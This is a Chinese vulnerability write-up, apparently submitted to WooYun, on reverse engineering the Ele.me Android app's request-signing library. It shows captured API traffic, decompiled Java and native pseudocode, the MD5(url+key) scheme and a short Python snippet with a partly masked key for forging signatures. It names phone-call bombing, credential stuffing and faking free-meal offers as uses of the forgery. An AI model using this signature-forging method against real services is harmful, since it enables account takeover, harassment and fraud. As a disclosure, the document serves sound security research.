在加密的时候涉及到的密码学、心理学、社会工程学等等,其中密码学误用在app中是个很大的问题,几乎所有apk的校验算法都能被模拟,饿了么的算法鲁棒性和隐蔽性算是不错的,提出来讲是为了证明签名校验机制的脆弱,虽然提交给饿了么, 但是说的是一大类问题,饿了么客户端先前在wooyun上被人挖出各种洞,后来加入签名验证算法,统一防护,防止被人篡改提交的数据。那么什么算法能被破解呢?
我们用burp抓包发现
1
2
3
4
5
6
|
GET /user/messages/unread_count?auth_key=anonymous&consumer_key= 9609106914 &eleme_device_id=b0227139- 2450 -3ef3-a6fb-a6f96bdf50f1&geohash=wtw36sc63f9z&geohash_id=wtw36sc63f9z&session_id=824af5f3238f919760b0eb199d3720dd×tamp= 1438222642 &track_id= 1437405188 %7C_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809%7Cfe894109028504a5754b00077b361aa6&user_id= 886 &sig=640dfedbaaa466455aefdd33825b7ecf HTTP/ 1.1 X-DeviceInfo: aW1laTowMDAwMDAwMDAwMDAwMDAgc2VyaWFsOnVua25vd24gYW5kcm9pZF9pZDpmNmNkNzAyNDBlMmM1ZTY0IGJyYW5kOmdlbmVyaWMgbW9kZWw6Q3VzdG9tX1Bob25lXy1fNC4yLjJfLV9BUElfMTdfLV83Njh4MTI4MCBuZXR3b3JrT3BlcmF0b3I6MzEwMjYwIG1hY0FkZHJlc3M6MDhfMDBfMjdfY2VfZGNfYjEgbmV0VHlwZTpXSUZJIHNpbVNlcmlhbE51bWJlcjo4OTAxNDEwMzIxMTExODUxMDcyMCBzaW1TdGF0ZTo1IHdpZmlMaXN0OjAxXzgwX2MyXzAwXzAwXzAzIGhhdmVCbHVldG9vdGg6dHJ1ZSBoYXJkd2FyZV9pZDo3MTgyMGNjZjI4ZWFiYjkxYTA2MmUzMWFmYzFmMTE3YyBmaXJzdF9vcGVuOjE0Mzc2NjkxOTMgbGFzdF9vcGVuOjE0MzgyMjI2MzYgbmV0X3R5cGU6d2lmaSBlbmVyZ3lfcGVyY2VudDo5MyB0cmFja19pZDogbWVtb3J5OjMwNg== Accept-Encoding: gzip Host: api.ele.me Connection: Keep-Alive User-Agent: Rajax/ 1 Custom_Phone_-_4. 2 .2_-_API_17_-_768x1280/vbox86p Android/ 4.2 . 2 Display/vbox86p-userdebug_4. 2 .2_JDQ39E_eng.buildbot. 20150609 .211601_test-keys Eleme/ 5.1 . 1 ID/b0227139- 2450 -3ef3-a6fb-a6f96bdf50f1; KERNEL_VERSION: 3.4 . 67 -qemu+ API_Level: 17 |
饿了么每一个客户端的数据包都会附加一个签名sig
如果你篡改POST或者GET过去的任意一个参数
都会返回一个
1
2
3
4
5
6
7
8
9
|
HTTP/ 1.1 200 OK Server: Tengine/ 2.1 . 0 Date: Thu, 30 Jul 2015 05 : 09 : 50 GMT Content-Type: application/json; charset=UTF- 8 Connection: keep-alive Vary: Accept-Encoding Content-Length: 136 { "response" : [{ "message" : "\u672a\u77e5\u9519\u8bef\uff0c\u8bf7\u7a0d\u540e\u91cd\u8bd5" , "code" : "client_error/auth/signature_error" }]} |
猜测他的机制应该是数据本地加上签名校验
然后发送到server端用相同的算法进行签名验证 如果传过去的sig不等于数据在server端加密后的期望值,返回一个签名错误。
所以我们现在想破解用户数据( WooYun: 饿了么客户端设计缺陷可影响用户帐号安全 )
也不能狂打人家电话了( WooYun: 饿了么手机验证可做电话轰炸(呼死你) )
更不能免费吃喝( WooYun: 饿了么逻辑漏洞之免费吃喝不是梦 )
那么这个算法是否具有弱点呢?
我们打开jeb逆向看看
搜索sig" 很快定位到关键点
跟入
发现sig字段是由s.a处理的
继续跟过去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
public class s { static { System.loadLibrary( "signer" ); } private s() { super (); } public static String a(String arg8, Context arg9) { String v0_2; Class v1 = s. class ; __monitor_enter(v1); try { long v2 = System.currentTimeMillis(); try { v0_2 = s.sign(arg8, arg9); a.a( "signer sign time consuming is " + (System.currentTimeMillis() - v2) + "ms" ); } catch (Exception v0_1) { try { a.b( "sign error" ); v0_1.printStackTrace(); v0_2 = "" ; } catch (Throwable v0) { label_23: __monitor_exit(v1); throw v0; } } } catch (Throwable v0) { goto label_23; } __monitor_exit(v1); return v0_2; } private static native String sign(s this , String arg1, Context arg2) { } } |
可以看到这里它load System.loadLibrary("signer");
也就是使用了.so文件报装他的算法
private static native String sign(s this, String arg1, Context arg2) {
}
然后传入签名
我们解包看看这个so库
apktool d -d eleme.apk
在/lib/armeabi下找到那个库
libsigner.so
IDA Pro分析下 发现是可以反汇编的
图中我们可以看到decode2String 跟踪过去
1
2
3
4
5
6
7
8
9
10
11
|
int __fastcall decode2String( int a1) { int v1; // r4@1 int result; // r0@1 v1 = a1; result = decode(); if ( result ) result = toString(v1, result); return result; } |
所以decode是主要流程 //其实这里挺奇怪的,按理说签名算法应该是encode,为何这里是decode
肯定有鬼,我们跟踪过去看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
int __fastcall decode(_JNIEnv *a1, int a2) { _JNIEnv *v2; // r4@1 int v3; // r0@1 int v4; // r5@1 int v5; // r0@1 int v6; // r7@1 int v7; // r0@1 int v8; // r5@1 int v9; // r6@1 int v10; // r0@2 int v11; // r6@2 int v12; // r0@3 int v13; // r7@4 int v14; // r7@5 int v15; // r5@5 int v16; // r0@5 int v17; // r3@5 int v19; // [sp+8h] [bp-28h]@3 int v20; // [sp+Ch] [bp-24h]@1 int v21; // [sp+10h] [bp-20h]@1 int v22; // [sp+14h] [bp-1Ch]@3 v20 = a2; v2 = a1; v3 = _JNIEnv::FindClass(a1, "android/util/Base64" ); v4 = v3; v5 = _JNIEnv::GetStaticFieldID(v2, v3, "NO_WRAP" , "I" ); _JNIEnv::GetStaticIntField(v2, v4, v5); v6 = _JNIEnv::GetStaticMethodID(v2, v4, "decode" , "([BI)[B" ); v7 = toBytes( v2, "wialR9SXLS/cI/tJ7grD93HbcpfISNRucCQIKd6InJyQXD3gL90a65cDIQWMEMIBMh5FCzTNgeqGE34puzDe8169tz3gX/HRKKT1uMXNWPonoPLLaYH9iiiq4Pq5wMxNig1WslNPDNJPDrWcHIQ55uQpTwerd1zDiiksGpwL380=" ); v21 = _JNIEnv::CallStaticObjectMethod(v2, v4, v6, v7); _JNIEnv::DeleteLocalRef(v2, v4); v8 = _JNIEnv::FindClass(v2, "javax/crypto/Cipher" ); v9 = _JNIEnv::GetStaticMethodID(v2, v8, "getInstance" , "(Ljava/lang/String;)Ljavax/crypto/Cipher;" ); if ( !dword_5004 ) { v10 = _JNIEnv::NewStringUTF(v2, "RSA/ECB/PKCS1Padding" ); v11 = _JNIEnv::CallStaticObjectMethod(v2, v8, v9, v10); dword_5004 = _JNIEnv::NewGlobalRef(v2, v11); _JNIEnv::DeleteLocalRef(v2, v11); } v12 = _JNIEnv::GetStaticFieldID(v2, v8, "DECRYPT_MODE" , "I" ); v19 = _JNIEnv::GetStaticIntField(v2, v8, v12); v22 = _JNIEnv::GetMethodID(v2, v8, "init" , "(ILjava/security/Key;)V" ); if ( !dword_5008 ) { v13 = getPublicKey(v2, v20); dword_5008 = _JNIEnv::NewGlobalRef(v2, v13); _JNIEnv::DeleteLocalRef(v2, v13); } _JNIEnv::CallVoidMethod(v2, dword_5004, v22, v19); v14 = _JNIEnv::GetMethodID(v2, v8, "doFinal" , "([B)[B" ); _JNIEnv::DeleteLocalRef(v2, v8); v15 = _JNIEnv::CallObjectMethod(v2, dword_5004, v14, v21); v16 = throwException(v2); v17 = 0 ; if ( !v16 ) { _JNIEnv::DeleteLocalRef(v2, v21); v17 = v15; } return v17; } |
首先可以看出的是作者煞费苦心地利用java反射机制 调用JNI使用了一系列java原有的方法进行混淆
然后问题在这
1
|
"wialR9SXLS/cI/tJ7grD93HbcpfISNRucCQIKd6InJyQXD3gL90a65cDIQWMEMIBMh5FCzTNgeqGE34puzDe8169tz3gX/HRKKT1uMXNWPonoPLLaYH9iiiq4Pq5wMxNig1WslNPDNJPDrWcHIQ55uQpTwerd1zDiiksGpwL380=" |
这段数据是硬编码到so文件里面的,然后它调用各种JNI方法的作用无非就是想混淆,增加破解难度
不过这个算法由于密码学误用,依然的是可以破解的
逆向之后我得到了一个key
其中key就是调用一大堆冗杂的jni生成的一段hash
有了key 我们就能用来加密,构造服务器所信任的恶意请求
那到底是怎样加密我们的请求的呢
我们先用某神器插桩监控下这个调用
可以看到其实就是
MD5(getUrl+key)
1
2
3
|
encrypturl = "https://api.ele.me/1/user/login?auth_key=anonymous&consumer_key=9609106914&eleme_device_id=b0227139-2450-3ef3-a6fb-a6f96bdf50f1&password=" +password+ "&session_id=824af5f3238f919760b0eb199d3720dd×tamp=1438144822&track_id=1437405188|_d3fe5148-2ef1-11e5-8ec6-c81f66fb8809|fe894109028504a5754b00077b361aa6&user_id=886&username=" +username key = "b775d5b4(我是马赛克)95b0b2119294ccf9" sig = hashlib.md5(encrypturl+key).hexdigest() |
可以看到我们构造任意链接都不再抛出签名错误
看看发动电话攻击
可以看到在拨打电话之前是有验证注册与否的
但是我们现在可以伪造号码,加上后端没有拨打限制次数
所以我们可以直接伪造了
这时候我们终于可以撞库:
至于免费领取早餐午餐晚餐活动,
相信只要活动出现,自然可以篡改数据施展攻击
解决方案:
密码学误用在app中是个很大的问题,几乎所有apk的校验算法都能被模拟,饿了么的算法鲁棒性和隐蔽性算是不错的,很多应用采用的加密算法却是不堪